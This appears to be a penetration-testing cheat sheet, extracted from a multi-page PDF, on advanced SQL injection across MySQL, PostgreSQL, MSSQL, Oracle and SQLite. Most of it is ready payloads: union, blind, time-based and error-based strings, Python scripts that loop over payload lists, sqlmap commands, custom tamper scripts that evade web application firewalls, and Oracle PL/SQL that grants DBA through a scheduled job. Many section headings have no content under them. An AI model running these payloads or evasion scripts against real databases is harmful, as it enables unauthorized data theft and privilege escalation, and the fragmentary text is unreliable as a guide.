Advanced SQL Injection
Advanced SQL Injection
[Link]/advanced-sql-injection-techniques
👍
Here are some Advanced SQL Injection Techniques I commonly use. Happy
hunting!
Note: These advanced techniques should be used responsibly and only in legal
and authorized testing scenarios. They go beyond the basics and exploit specific
features and configurations of databases. Additionally, I may have unintentionally
included openly available techniques from various sources.
WARNING: If you don't know what you are doing, please refrain from using these
techniques. Improper use may harm the database.
1/25
Advanced SQL Injection Techniques
Union-Based Injection
Extracting Data:
Boolean-Based Blind:
' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2)
END) --
Time-Based Blind:
2/25
Second-Order SQL Injection
' UNION SELECT 1, (SELECT column_name FROM db1.table1 LIMIT 1), (SELECT
column_name FROM db2.table2 LIMIT 1), user() --
3/25
Force errors conditionally to reveal information:
Combining Techniques
Automate these advanced techniques using custom scripts to efficiently test and
extract data.
4/25
import requests
url = "[Link]
payloads = [
# Advanced Union-Based Injections
"' UNION SELECT 1, version(), database(), user() FROM dual WHERE
1=CAST((SELECT COUNT(*) FROM information_schema.tables) AS INT) -- ",
"' UNION SELECT 1, 0x62656e6368, 0x70617373776f7264, user() -- ",
"' UNION SELECT 1, database(), (SELECT GROUP_CONCAT(table_name) FROM
information_schema.tables WHERE table_schema=database()), user() -- ",
"' UNION SELECT 1, (SELECT column_name FROM db1.table1 LIMIT 1),
(SELECT column_name FROM db2.table2 LIMIT 1), user() -- ",
# Advanced Boolean-Based Injections
"' AND IF((SELECT LENGTH(database()))>5, SLEEP(5), 0) -- ",
"' AND IF((SELECT SUBSTRING((SELECT table_name FROM
information_schema.tables LIMIT 1), 1, 1))='a', SLEEP(5), 0) -- ",
"' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE
table_schema=database())>5, (SELECT table_name FROM
information_schema.tables), 1) -- ",
"' AND IF((SELECT ASCII(SUBSTRING((SELECT database()),1,1))) & 1,
SLEEP(5), 0) -- ",
# Combined Techniques
"' UNION SELECT IF((SELECT LENGTH(database()))>5, SLEEP(5), 0), 1,
user(), 4 -- ",
"' UNION SELECT 1, IF((SELECT COUNT(*) FROM information_schema.tables
WHERE table_schema=database())>5, (SELECT table_name FROM
information_schema.tables LIMIT 1), 1), 3, 4 -- ",
]
Advanced Enumeration
Database Fingerprinting
MySQL:
PostgreSQL:
MSSQL:
Column Enumeration
5/25
Determine the Number of Columns:
' ORDER BY 1 --
' ORDER BY 2 --
Obfuscation
Using Comments:
' UNION/**/SELECT/**/NULL,NULL,NULL --
Case Manipulation
Inline Comments
' UNION/**/SELECT/**/NULL,NULL --
Whitespace Manipulation
Stored Procedures
6/25
Out-of-Band SQL Injection
Leveraging Privileges
sqlmap -u "[Link] --
tamper=space2comment --level=5 --risk=3
Creating your own tamper script for SQLMap involves writing a Python script that
modifies the payloads used by SQLMap to evade web application firewalls (WAFs)
or other filtering mechanisms. Here is a step-by-step guide to create a custom
tamper script.
A tamper script modifies the payload sent to the server. The script should contain a
function called tamper that takes a payload string as an argument and returns the
modified payload string.
7/25
Step 2: Structure of a Tamper Script
#!/usr/bin/env python
import random
__priority__ = 1
def dependencies():
pass
def tamper(payload):
# Modify the payload here
modified_payload = payload
return modified_payload
Let's create a simple tamper script that replaces spaces with comments to evade
basic filters.
#!/usr/bin/env python
import random
__priority__ = 1
def dependencies():
pass
def tamper(payload):
"""
Replaces space character (' ') with a random inline comment ('/**/')
"""
if payload:
payload = [Link](" ", "/**/")
return payload
8/25
Now, let's create a more advanced tamper script that randomly URL-encodes
characters in the payload.
#!/usr/bin/env python
import random
__priority__ = 1
def dependencies():
pass
def tamper(payload):
"""
Randomly URL encodes characters in the payload
"""
if payload:
encoded_payload = ""
for char in payload:
if [Link](0, 1):
encoded_payload += "%%%02x" % ord(char)
else:
encoded_payload += char
return encoded_payload
return payload
1. Save the Script: Save your tamper script in the tamper directory of your
SQLMap installation. For example, save it as random_urlencode.py.
2. Use the Script: Use the --tamper option in SQLMap to apply your custom
tamper script.
sqlmap -u "[Link] --
tamper=random_urlencode
Test: Ensure the script works as intended by running SQLMap with different
payloads.
Debug: Print debug information if necessary. You can add print statements
within the tamper function to debug your script.
Debugging Example
9/25
#!/usr/bin/env python
import random
__priority__ = 1
def dependencies():
pass
def tamper(payload):
"""
Randomly URL encodes characters in the payload
"""
if payload:
encoded_payload = ""
for char in payload:
if [Link](0, 1):
encoded_payload += "%%%02x" % ord(char)
else:
encoded_payload += char
print(f"Original: {payload}")
print(f"Modified: {encoded_payload}")
return encoded_payload
return payload
Stacked Queries
DNS Exfiltration
10/25
Leveraging JSON Functions
SQLMap Customization
sqlmap -u "[Link] --
tamper=~/location/ofthescript/[Link] --level=5 --risk=3
URL Encoding
%27%20UNION%20SELECT%20NULL,NULL,NULL--
%2527%2520UNION%2520SELECT%2520NULL,NULL,NULL--
Hex Encoding
Mixed Case
11/25
Inline Comments
' UNION/**/SELECT/**/NULL,NULL --
String Concatenation
Use conditions that alter the response based on true or false conditions.
12/25
6. Advanced Encoding Techniques
Base64 Encoding
7. Chaining Techniques
%27%20UNION/**/SELECT/**/CHAR(117)%7C%7CCHAR(115)%7C%7CCHAR(101)%7C%
7CCHAR(114),%20CHAR(112)%7C%7CCHAR(97)%7C%7CCHAR(115)%7C%7CCHAR(115)%20
--%0A
Forcing errors in databases can help reveal valuable information about the
underlying SQL queries, database structure, and sometimes even the data itself.
Here are some advanced techniques to force errors from various databases:
13/25
1. Syntax Errors
' OR 1=1; --
Unclosed Quotes
' OR 'a'='a
3. Function-Based Errors
Division by Zero
4. Subquery Errors
Invalid Subquery
14/25
5. Database-Specific Errors
MySQL Errors
PostgreSQL Errors
MSSQL Errors
Recursive Queries
' UNION SELECT 1 FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3 UNION
SELECT 4) AS temp WHERE temp=1 --
15/25
Invalid Hexadecimal Values
9. Combining Techniques
' UNION SELECT CONVERT(INT, 'abc') UNION SELECT 1/0 UNION SELECT
TO_NUMBER('abc', '999') --
Below are some advanced and rare SQL injection techniques for MSSQL, MySQL,
and Oracle. These techniques go beyond the basic ones and exploit specific
features and configurations of the databases.
MSSQL
16/25
3. Linked Servers
MySQL
2. DNS Exfiltration
Oracle
17/25
1. Java Procedures for Command Execution
DECLARE
l_file UTL_FILE.FILE_TYPE;
l_text VARCHAR2(32767);
BEGIN
l_file := UTL_FILE.FOPEN('DIRECTORY_NAME', '[Link]', 'W');
UTL_FILE.PUT_LINE(l_file, 'Data from UTL_FILE');
UTL_FILE.FCLOSE(l_file);
END;
This technique uses the UTL_FILE package to write files to the server.
18/25
3. DBMS_SCHEDULER for Job Execution
BEGIN
DBMS_SCHEDULER.create_job(
job_name => 'job1',
job_type => 'PLSQL_BLOCK',
job_action => 'BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO SCOTT'';
END;',
start_date => SYSTIMESTAMP,
repeat_interval => NULL,
end_date => NULL,
enabled => TRUE
);
END;
Here are some advanced techniques that specific to some DBMS to force errors
and gather valuable information. By using these advanced methods to force errors
on different DBMS, you can gather detailed error messages that reveal valuable
information about the database, helping you identify and exploit SQL injection
vulnerabilities more effectively.
MySQL
MySQL provides many functions that, when used incorrectly, can generate
errors.
19/25
PostgreSQL
Recursive CTE
MSSQL
MSSQL’s XML functions can generate errors when used with invalid XML.
Oracle
20/25
Oracle’s specific functions and data manipulation can cause errors.
Using SYS.DBMS_ASSERT
SQLite
21/25
import requests
url = "[Link]
payloads = [
# MySQL
"' AND EXP(~(SELECT * FROM (SELECT 1) t)) -- ",
"' AND 0xG1 -- ",
"' AND (SELECT * FROM (SELECT 1,2) t) = 1 -- ",
# PostgreSQL
"' AND 'a' ~ 'b[' -- ",
"' AND jsonb_path_query_first('{'a':1}', '$.a') -- ",
"' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t) SELECT
* FROM t -- ",
# MSSQL
"; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>'; SELECT
@[Link]('(/root/c)[1]', 'INT') -- ",
"; SELECT CAST('text' AS INT) -- ",
"; RAISERROR('Error generated', 16, 1) -- ",
# Oracle
"' UNION SELECT UTL_INADDR.get_host_address('invalid_host') FROM dual
-- ",
"' UNION SELECT XMLType('<invalid><xml>') FROM dual -- ",
"' UNION SELECT SYS.DBMS_ASSERT.noop('invalid_input') FROM dual -- ",
# SQLite
"' UNION SELECT SUBSTR('text', -1, 1) -- ",
"' UNION SELECT POW('text', 2) -- ",
"' UNION SELECT DATE('invalid_date') -- ",
]
These advanced error-based SQL injection techniques, you can extract crucial
information such as the database name and hostname, which can further aid in
your exploitation efforts.
MySQL
22/25
Extracting Hostname
PostgreSQL
Extracting Hostname
PostgreSQL does not directly provide a function for hostname, but you can
use other metadata queries or built-in extensions like inet_server_addr.
MSSQL
Extracting Hostname
Oracle
Extracting Hostname
23/25
Use error-based injection to extract the hostname.
SQLite
SQLite uses a single database per file, but you can force errors to reveal
database-related information.
Extracting Hostname
SQLite does not inherently have a hostname since it’s a file-based database.
However, you can infer file paths which might give clues.
24/25
import requests
url = "[Link]
payloads = [
# MySQL
"' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()),
0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --
",
"' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT @@hostname),
0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --
",
# PostgreSQL
"' AND 1=CAST((SELECT current_database()) AS INT) -- ",
"' AND 1=CAST((SELECT inet_server_addr()) AS INT) -- ",
# MSSQL
"; SELECT 1 WHERE 1=CAST(DB_NAME() AS INT) -- ",
"; SELECT 1 WHERE 1=CAST(@@servername AS INT) -- ",
# Oracle
"' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT ora_database_name
FROM dual) AS INT) -- ",
"' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT
SYS_CONTEXT('USERENV', 'HOST') FROM dual) AS INT) -- ",
# SQLite
"' AND 1=CAST((SELECT name FROM sqlite_master WHERE type='table'
LIMIT 1) AS INT) -- ",
"' AND 1=CAST((SELECT file FROM pragma_database_list LIMIT 1) AS INT)
-- ",
]
25/25